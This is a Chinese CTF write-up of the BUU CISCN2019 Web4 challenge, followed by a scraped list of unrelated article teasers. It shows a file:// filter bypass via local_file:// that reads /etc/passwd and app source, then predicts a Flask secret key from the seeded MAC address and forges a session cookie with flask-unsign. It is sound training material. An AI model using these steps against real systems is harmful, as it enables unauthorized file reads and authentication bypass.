BUU [CISCN2019 华东南赛区]Web4
BUU [CISCN2019 华东南赛区]Web4
题目描述:Click to launch instance.
开题:

点击链接,有点像SSRF

使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。

local_file://协议:
local_file://与file://类似,常用于绕过,可以直接读取本地文件内容
此外,不加协议,直接通过文件名读取文件也行。
/read?url=/etc/passwd

读取后端源码:
/read?url=/app/app.py
源码如下:
import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")
注意print语句print str(ex),可以看出后端是python2。
/flag路由验证了session,若session中的username是fuck,则返回flag。
session的密钥由random决定,random的seed是uuid.getnode()。
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
Mac地址存贮在/sys/class/net/eth0/address
/read?url=local_file:///sys/class/net/eth0/address
得到Mac地址为:2e:44:62:0d:63:0a。

根据seed预测伪随机数得到key脚本:(python2跑)
import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))
得到key是73.2021768198,不同人不一样。
我们使用flask-unsign工具来伪造session。
解密session:
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'
加密session:
flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval
得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc

访问/flag路由,得到flag

相关文章:
BUU [CISCN2019 华东南赛区]Web4
BUU [CISCN2019 华东南赛区]Web4 题目描述:Click to launch instance. 开题: 点击链接,有点像SSRF 使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。 local_file://协议: local_file…...
【卷积神经网络中用1*1 卷积有什么作用或者好处呢?】
🚀 作者 :“码上有前” 🚀 文章简介 :深度学习 🚀 欢迎小伙伴们 点赞👍、收藏⭐、留言💬 1*1 卷积有什么作用或者好处呢 作用降维和增加非线性特征组合和交互网络的宽度和深度调整全连接替代增强…...
分布式系统概念及其应用
分布式系统概念及其应用 随着互联网的飞速发展,数据量和计算需求不断增加,传统的集中式系统已经无法满足这些需求。因此,分布式系统应运而生,它通过将计算任务分散到多台计算机上,实现高效的计算和存储。本文将介绍分…...
数据报文转换
报文转换 🍓JSON🍒🍒JSON多字段映射成一个实体对象🍒🍒JSON反序列化为一个带有泛型的JAVA类型 🍓xml 🍓JSON 🍒🍒JSON多字段映射成一个实体对象 <dependency><…...
Python爬虫-付费代理推荐和使用
付费代理的使用 相对免费代理来说,付费代理的稳定性更高。本节将介绍爬虫付费代理的相关使用过程。 1. 付费代理分类 付费代理分为两类: 一类提供接口获取海量代理,按天或者按量收费,如讯代理。 一类搭建了代理隧道࿰…...
kubectl使用及源码阅读
目录 概述实践样例yaml 中的必须字段 kubectl 代码原理kubectl 命令行设置pprof 抓取火焰图kubectl 中的 cobra 七大分组命令kubectl createcreateCmd中的builder模式createCmd中的visitor访问者模式外层VisitorFunc分析 结束 概述 k8s 版本 v1.24.16 kubectl的职责 1.主要的…...
C++面试宝典第32题:零钱兑换
题目 给定不同面额的硬币coins和一个总金额amount,编写一个函数来计算可以凑成总金额所需的最少的硬币个数。如果没有任何一种硬币组合能组成总金额,则返回-1。说明:你可以认为每种硬币的数量是无限的。 示例1: 输入:coins = [1, 2, 5], amount = 11 输出:3 解释:11 = …...
pyspark分布式部署随机森林算法
前言 分布式算法的文章我早就想写了,但是一直比较忙,没有写,最近一个项目又用到了,就记录一下运用Spark部署机器学习分类算法-随机森林的记录过程,写了一个demo。 基于pyspark的随机森林算法预测客户 本次实验采用的…...
【Python笔记-设计模式】中介者模式
一、说明 中介者模式是一种行为设计模式,减少对象之间混乱无序的依赖关系。该模式会限制对象之间的直接交互,迫使它们通过一个中介者对象进行合作。 (一) 解决问题 降低系统中对象之间的直接通信,将复杂的交互转化为通过中介者进行的间接交…...
大语言模型构建的主要四个阶段(各阶段使用的算法、数据、难点以及实践经验)
大语言模型构建通常包含以下四个主要阶段:预训练、有监督微调、奖励建模和强化学习,简要介绍各阶段使用的算法、数据、难点以及实践经验。 预训练 需要利用包含数千亿甚至数万亿 单词的训练数据,并借助由数千块高性能 GPU 和高速网络组成的…...
[云原生] 二进制安装K8S(中)部署网络插件和DNS
书接上文,我们继续部署剩余的插件 一、K8s的CNI网络插件模式 2.1 k8s的三种网络模式 K8S 中 Pod 网络通信: (1)Pod 内容器与容器之间的通信 在同一个 Pod 内的容器(Pod 内的容器是不会跨宿主机的)共享…...
云端技术驾驭DAY13——Pod污点、容忍策略、Pod优先级与抢占、容器安全
往期回顾: 云端技术驾驭DAY01——云计算底层技术奥秘、云服务器磁盘技术、虚拟化管理、公有云概述 云端技术驾驭DAY02——华为云管理、云主机管理、跳板机配置、制作私有镜像模板 云端技术驾驭DAY03——云主机网站部署、web集群部署、Elasticsearch安装 云端技术驾驭…...
掌握Docker:让你的应用轻松部署和管理
文章目录 一、引言(为什么要学习docker?)1.1 环境不一致1.2 隔离性1.3 弹性伸缩1.4 学习成本 二、Docker介绍2.1 Docker的由来2.2 什么是Docker2.3 为什么要用Docker2.3.1 虚拟机2.3.2 Linux容器 2.4 Docker与传统虚拟机的区别2.5 Docker的思…...
5G-A,未来已来
目前,全国首个5G-A规模组网示范完成。这项由北京联通携手华为共同打造的示范项目,实现了北京市中心金融街、历史建筑长话大楼、大型综合性体育场北京工人体育场三个重点场景的连片覆盖。 实际路测结果显示,5G-A用户下行峰值速率达到10Gbps&am…...
智慧公厕让社区生活更美好
随着科技的迅猛发展,城市管理、城市服务均使用科技化的手段进行升级改造,社区生活更美好赋予全新的智慧效能,其中智慧公厕也成为了城市环卫设施的新宠。智慧公厕以物联网、互联网、大数据、云计算、5G通信、自动化控制等技术为核心࿰…...
Apache软件基金会的孵化标准和毕业标准
Apache软件基金会的孵化标准和毕业标准是一个项目成功的重要衡量指标。这些标准关注项目的多个方面,包括开放性、合作性、共建性、透明性、技术可行性、社区建设以及用户基础等。在孵化阶段,Apache软件基金会主要关注项目的开放性和合作性。首先…...
什么是高可用架构
一、什么是高可用 在运维中,经常听到高可用,那么什么是高可用架构呢?通俗点讲,高可用就是在服务故障,节点宕机的情况下,业务能够保证不中断,服务正常运行。 举个例子,支付宝&#…...
【Vuforia+Unity】AR04-地面、桌面平面识别功能(Ground Plane Target)
不论你是否曾有过相关经验,只要跟随本文的步骤,你就可以成功地创建你自己的AR应用。 官方教程Ground Plane in Unity | Vuforia Library 这个功能很棒,但是要求也很不友好,只能支持部分移动设备,具体清单如下: 01.Vuforia的地面识别功能仅支持的设备清单: Recommended…...
【Git】解决‘每次初始化一个新仓库时,都需要执行git config --global --add safe.directory命令‘
问题 这个命令是用来将一个安全目录添加到全局的 Git 配置中。但每次克隆一个仓库或者新建一个仓库,并且对该仓库进行操作时,都需要执行该命令,十分麻烦! 这是因为,Git 近期进行了版本升级,添加了新的目录…...
Qt的QThread、QRunnable和QThreadPool的使用
1.相关描述 随机生产1000个数字,然后进行冒泡排序与快速排序。随机生成类继承QThread类、冒泡排序使用moveToThread方法添加到一个线程中、快速排序类继承QRunnable类,添加到线程池中进行排序。 2.相关界面 3.相关代码 widget.cpp #include "widget…...
Xilinx UltraRAM实战:用xpm_memory_tdpram做个图像缓存,仿真综合避坑指南
Xilinx UltraRAM实战:用xpm_memory_tdpram构建高效图像缓存系统 在视频处理流水线设计中,图像缓存是实现实时处理的关键组件。Xilinx UltraScale器件提供的UltraRAM(URAM)资源以其大容量、高带宽特性,成为构建帧缓冲的…...
AI应用学习-RAG基础
1.RAG的概念及作用 1.大模型的缺陷 首先要知道RAG是什么,能做什么,他是如何应用的,我们需要先了解一下大模型的缺陷,我们在用一些ai对话工具时,你有时候问一个问题,会发现 1.偶尔他回答的就是胡说八道&a…...
Video-Downloader:打破平台壁垒,轻松收藏你喜爱的每一帧视频
Video-Downloader:打破平台壁垒,轻松收藏你喜爱的每一帧视频 【免费下载链接】Video-Downloader 下载youku,letv,sohu,tudou,bilibili,acfun,iqiyi等网站分段视频文件,提供mac&win独立App。 项目地址: https://gitcode.com/gh_mirrors/…...
暗黑3技能自动化革命:D3KeyHelper图形界面宏工具完全指南
暗黑3技能自动化革命:D3KeyHelper图形界面宏工具完全指南 【免费下载链接】D3keyHelper D3KeyHelper是一个有图形界面,可自定义配置的暗黑3鼠标宏工具。 项目地址: https://gitcode.com/gh_mirrors/d3/D3keyHelper 厌倦了在暗黑破坏神3中重复点击…...
Phi-4-mini-flash-reasoning精彩案例:‘甲乙丙丁谁说真话’类经典逻辑题全自动求解
Phi-4-mini-flash-reasoning精彩案例:甲乙丙丁谁说真话类经典逻辑题全自动求解 1. 模型介绍与逻辑推理能力 Phi-4-mini-flash-reasoning是一款专为复杂推理任务设计的轻量级AI模型,特别擅长解决需要多步推理的逻辑难题。不同于普通聊天AI,它…...
快速掌握今日热榜:一站式聚合全网热门头条的终极指南
快速掌握今日热榜:一站式聚合全网热门头条的终极指南 【免费下载链接】TopList 今日热榜,一个获取各大热门网站热门头条的聚合网站,使用Go语言编写,多协程异步快速抓取信息,预览:https://mo.fish 项目地址: https://…...
别再只盯着铜箔了!FPC软板选材实战:从PI基材到屏蔽膜,工程师避坑指南
FPC软板选材实战:从基材到屏蔽层的工程决策指南 在可穿戴设备折叠屏和车载摄像头小型化的浪潮中,柔性印刷电路板(FPC)正经历前所未有的技术迭代。当某头部TWS耳机厂商因基材选择失误导致批量性断裂时,当新能源汽车摄像头模组因屏蔽材料失效引…...
盟接之桥®电子数据交换EDI,如何用一套“数字桥梁”,让全球巨头主动为你敞开大门?
在全球经济一体化的宏大叙事下,中国制造业正站在历史的十字路口。从“中国制造”到“中国智造”,这不仅仅是称谓的更迭,更是产业链地位的跃迁。然而,在这条通往全球价值链高端的道路上,无数制造企业面临着同一个隐秘而…...
一个月能做几款赚钱小游戏?HyperCasual - Puzzle Game Engine 一套模板搞定13种爆款游戏玩法
HyperCasual - Puzzle Game Engine 是一款专为益智类游戏开发打造的一体化解决方案,主打“快速搭建 高度复用 强变现能力”。它整合了当前市场上最热门的拼图玩法模板,例如颜色分类、物品排序、拆解解谜等,开发者无需从零构建复杂逻辑&…...
Synopsys DesignWare APB GPIO (DW_apb_gpio) 模块寄存器详解
以下是针对 Synopsys DesignWare APB GPIO (DW_apb_gpio) 模块寄存器的超详细技术说明,附带完整的裸机驱动代码示例。内容涵盖所有标准寄存器、中断与去抖动逻辑(仅端口A)、以及实战操作流程。一、模块概述DW_apb_gpio 是一个通过 APB 总线访…...
